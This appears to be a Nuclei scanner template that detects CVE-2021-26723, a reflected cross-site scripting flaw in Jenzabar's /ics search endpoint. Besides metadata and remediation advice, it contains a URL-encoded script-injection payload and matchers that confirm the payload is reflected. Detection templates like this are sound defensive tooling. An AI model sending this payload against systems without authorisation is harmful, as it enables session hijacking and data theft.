id: CVE-2021-26723

info:
  name: Jenzabar 9.2x-9.2.2 - Cross-Site Scripting
  author: pikpikcu
  severity: medium
  description: Jenzabar 9.2.x through 9.2.2 contains a cross-site scripting vulnerability. It allows /ics?tool=search&query.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the latest security patch or upgrade to a non-vulnerable version of Jenzabar 9.2x-9.2.2.
  reference:
    - http://packetstormsecurity.com/files/161303/Jenzabar-9.2.2-Cross-Site-Scripting.html
    - https://gist.github.com/Y0ung-DST/d1b6b65be6248b0ffc2b2f2120deb205
    - https://jenzabar.com/blog
    - https://y0ungdst.medium.com/xss-in-jenzabar-cve-2021-26723-a0749231328
    - https://nvd.nist.gov/vuln/detail/CVE-2021-26723
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-26723
    cwe-id: CWE-79
    epss-score: 0.07461
    epss-percentile: 0.93477
    cpe: cpe:2.3:a:jenzabar:jenzabar:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: jenzabar
    product: jenzabar
  tags: cve2021,cve,packetstorm,jenzabar,xss

http:
  - method: GET
    path:
      - "{{BaseURL}}/ics?tool=search&query=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 490a00463044022015c16d5c72f64fa026e48a1f863962d923527709b62ec881a563bccc792ff84a022010b46416ae8abc326958a0fd90e2df9159f95afb4615b86068dc15bd734ea504:922c64590222798bb761d5b6d8e72950